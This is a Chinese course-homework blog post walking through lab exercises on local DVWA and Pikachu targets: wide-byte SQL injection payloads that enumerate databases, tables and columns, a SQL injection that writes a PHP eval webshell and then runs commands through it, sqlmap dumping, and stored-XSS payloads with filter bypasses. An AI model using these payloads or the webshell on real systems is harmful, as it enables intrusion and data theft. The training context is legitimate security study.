C10-8 SQL注入II + XSS练习 I

news/2024/12/18 13:15:14/文章来源:https://www.cnblogs.com/pp0begging/p/18493694

情境


参加了培训的第八次课, 涉及到了SQL宽字节注入, 从MySQL注入到GetShell, SQL注入的基本绕过手法, SQL注入防御, SQLmap的使用; XSS基本概念和原理 的介绍(包括3种XSS及其手动测试).
这里是第八课的作业题, 及我的解答. (注: 使用本地虚拟机开启dvwa靶场, 10.0.0.155是ubuntu虚拟机的IP, dvwa挂在8080端口上. 登陆后初始化靶场并重新登录. 下列各题都将在靶场不同标签页中练习 复现.)



1、利用宽字节注入实现“库名-表名”的注入过程,写清楚注入步骤;

我的解答:  本题, 我将以Pikachu靶场中的宽字节注入页面作为复现环境.

a. 预备工作
首先搭建Pikachu靶场环境, 需要正确安装 mysql-server, php2.7 和 apache2 等. 然后使用docker开启一个以area39/pikachu为镜像的容器.
容器开启后, 等待一会儿再使用浏览器访问pikachu网页, 使用该靶场之前需要先在网页上进行初始化.
img
img
img
img

b. 尝试使用宽字节注入, 做一个测试
使用 %81' or 1=1#作为输入, 微调burp抓到的请求包后发送(此处为保险起见先发送至Repeater再发送), 检查响应包结果符合预期.
img
img
img

c. 爆破数据库名
使用联合注入, 结合 b 中的手法, 输入aaa%81' union select 1,database()#, 微调burp抓到的请求包后发送(此处为保险起见先发送至Repeater再发送), 结果成功爆破数据库名 pikachu.
img
img
img

d. 爆破数据表名
-- 首先爆出数据库 pikachu 中的数据表数量.
使用count()函数, 并结合 c 中同样的手法, 输入bbb%81' union select 2,count(table_name) from information_schema.tables where table_schema=database()#.
微调burp抓到的请求包后发送(此处为保险起见先发送至Repeater再发送), 结果得出 该数据库中有5张表.
img
img
img
-- 再爆出具体的表名.
使用group_concat()函数, 并结合 c 中同样的手法, 输入bbb%81' union select 2,group_concat(table_name) from information_schema.tables where table_schema=database()#.
微调burp抓到的请求包后发送(此处为保险起见先发送至Repeater再发送), 得出 该数据库中5张表的具体表名.
img
img
img
-- 确认正确的表名(即爆字段名, 并分析)
通过表名和使用情境, 推测很可能使用的是 表member 或者 表users, 且该表含有诸如类似 uid 和 email 的信息字段. 查取所有表的字段名.
在输入框中输入bbb%81' union select 3,group_concat(column_name) from information_schema.columns where table_schema=database()# .
(逐个表查字段操作不出来, 因为限制表名一定会用到'', 而在该情景下''会添加addslash()函数, 不可绕过; 但是可以查pikachu数据库中所有表的字段名, 对比之前的结果可能会得到一些暗示. 果然如此!!!!)
最后确认正确的数据表名是 member
img
img
img
img




2、利用SQL注入实现DVWA站点的Getshell,写清楚攻击步骤;

我的解答:  

开启DVWA靶场, 并设计注入
使用docker开启dvwa容器. 数据库初始化后重新登入(admin//password). 将安全等级调成low. 选中"SQL Injection"标签, 并输入SQL注入形式的一句话木马:
' union select 1,"<?php eval($_POST['a']);?>" into outfile '/var/www/html/shell.php'#
img
img

通过容器后端可以看到, 此时已成功创建木马文件 /var/www/html/shell.php
img

通过浏览器访问 $(IP):$port/shell.php, 看到的是空白页面.
img
-- 可以使用HackBar V2插件 添加POST方法的参数a. 比如 a=phpinfo(); 或是 system(pwd)之类的系统命令.
img
img
-- 也可以使用蚁剑, 添加一句话木马的文件地址, 连接密码就是POST方法传输的变量名. 由此就可以打开容器后端了. 至此, 我们就算完整地拿下该服务器了.
img
img
img
img
img




3、使用Sqlmap工具完成对DVWA数据库的注入过程,要求按照库、表、列、内容的顺序进行注入;

我的解答:  

安装SQLMap, 并设置(Linux和Windows都可)
将dvwa网站的安全等级调成low, 并取得带参数信息的有效链接.
img

通过浏览器控制台console获取cookies信息
img

构建sqlmap命令, 并获取目的参数的payload
img
img

使用sqlmap爆库名
img

使用sqlmap爆表名
img

使用sqlmap爆列名
img

使用sqlmap爆数据内容
img
img
img
img




4、完成DVWA靶场存储型XSS的漏洞练习。

我的解答:  

知识点回顾
通常存在XSS漏洞的输入点, 如果代码中没有针对输入的过滤措施, 可直接使用: <script>alert(1)</script> 或者 类似于<img src=## onerror=alert(document.cookie)>(或者a标签 <a onmouseover=alert('XSS')>xss link</a>) 之类的输入.
如果存在XSS漏洞的输入点, 代码中过滤了 <script> 标签, 可考虑使用 大小写混淆绕过, 双写饶过, 或者使用其它标签
如果存在XSS漏洞的输入点, 代码中使用正则过滤 <script> 标签, 那就只能使用其他标签了.

Security Level Low (此处, 针对message没有输入过滤措施, 针对name通过正则匹配限制使用 <script> 标签)
可使用最简单的 <script>alert(1)</script> 进行(存储型)XSS攻击.
img
img
img

Security Level Medium (此处, 针对message使用addslash()函数; 针对name过滤<script>标签 且 前端限制输入长度)
在name处使用双写混淆绕过, 通过inspector将maxlength改成一个较大值.
img
img
img

Security Level High (此处, 针对message使用addslash()函数; 针对name通过正则匹配限制使用 <script> 标签 且 前端限制输入长度)
在name处使用其它标签, 通过inspector将maxlength改成一个较大值.
img
img
img




预习:XSS

预习资料:课件,课件还没出来

自己的学习进度落了两个多月了, 惭愧…… 慢慢追……

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/854768.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【流量分析】基于安全产品DNS隧道流量分析

免责声明 本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本号及原作者无关。域名准备 选择哪家的云都没问题,这里我选择的TX云,因为之前注册过了,自己拿来做个流量分析不成问题。 域名添加解析记录 需要准备自己的vps作为DNS…

14伪元素-CSS的继承和层叠-元素特性

一、之前剩下的东西 上节讲解了CSS常见的选择器:通用选择器,元素选择器,类选择器,id选择器,属性选择器,组合选择器,伪类选择器 之前讲到伪类选择器非常多,但是使用的却不多,上次主要讲到动态伪类,其中:hover最重要。 1、伪元素pseudo-elements 常用的伪元素是: :fir…

分享一个线程状态

本文来自博客园,作者:Eular,转载请注明原文链接:https://www.cnblogs.com/euler-blog/p/18614627

Bootstrap popover功能扩展jquery插件

这是一款Bootstrap popover功能扩展jquery插件。该jquery插件在原生Bootstrap popover功能的基础上,添加了一些新的功能,例如自动定位,支持情景模式等。在线演示 下载使用方法 在页面中引入jquery和bootstrap相关文件,以及bootstrap-popover-x.css和bootstrap-popover-x.j…

大学微积分 AB 第四单元:区分的语境应用

(先略)根据上下文解释导数的含义 定的。

欢迎 PaliGemma 2 – 来自 Google 的新视觉语言模型

我们很高兴迎来 Google 全新的视觉语言模型 PaliGemma 2,这是 PaliGemma 的一个新版本。与其前代产品一样,PaliGemma 2 使用强大的 SigLIP 进行视觉处理,但在文本解码部分升级到了最新的 Gemma 2。 模型规模和输入分辨率 PaliGemma 2 提供了新的预训练模型,参数规模包括 3B…

Win11 OneDrive 报错 0x8004def5

突然发现我运行了8万多小时的硬盘报 C5 警告了…抓紧换了块硬盘懒得重装系统直接pe下把文件拷贝到新盘启动后 OneDrive 报错 0x8004def5…参考下:https://www.minitool.com/news/onedrive-error-code-0x8004def5.html简单判断我这个肯定没那么复杂肯定是直接拷贝文件造成的配…

Linux 网页管理工具cockpit使用

无意间在网上看到一款使用比较方便的Linux网页管理工具,感觉很强大,对Linux新手很有用。 平时centos用的比较多,一下以centos7为例,简单列出部署过程。 Cockpit 包通常在 EPEL仓库中提供,需要先下载epel源 yum install -y epel-release.noarch yum clean all yum makecach…

BOE(京东方)“向新2025”年终媒体智享会首站落地上海 六大维度创新开启产业发展新篇章

12月17日,BOE(京东方)以“向新2025”为主题的年终媒体智享会在上海启动。正值BOE(京东方)新三十年的开局之年,活动全面回顾了2024年BOE(京东方)在各领域所取得的领先成果,深度解读了六大维度的“向新”发展格局,同时详细剖析了BOE(京东方)在智能制造领域的领先实践…

如何用管理计划软件制定并落实新年规划,提升团队效率

一、年度规划的重要性 1.1 为什么需要年度规划? 无论是个人职业规划、部门目标还是公司的战略计划,年度规划为每个目标的实现提供了清晰的路线图。一个好的年度规划能够帮助团队明确年度任务,优化资源分配,提高工作效率,并且提供可量化的标准来衡量成果。 具体来说,年度规…

搭建overleaf

1.领取免费服务器,推荐免费服务器(SanFengYun)见下图。2.安装宝塔面板,配置内网为127.0.0.1,访问外网地址。 3.可以在宝塔面板一键部署网站,输入自己的域名即可。 4.关键:安装docker,安装yum,设置github可以访问。 5.更换docker镜像,自带镜像无法访问 6.按照overleaf…

Linux服务器中ping时出现“未知的名称或服务”或“Name or service not known”的解决办法

ping qyapi.weixin.qq.com Name or service not known【背景】接入企业微信时遇到服务器上ping qyapi.weixin.qq.com,报错Name or service not known 【解决办法】 1、# vi /etc/resolv.conf 增加一行 nameserver 8.8.8.82、重启网络 # service network restart3、验证ping成功…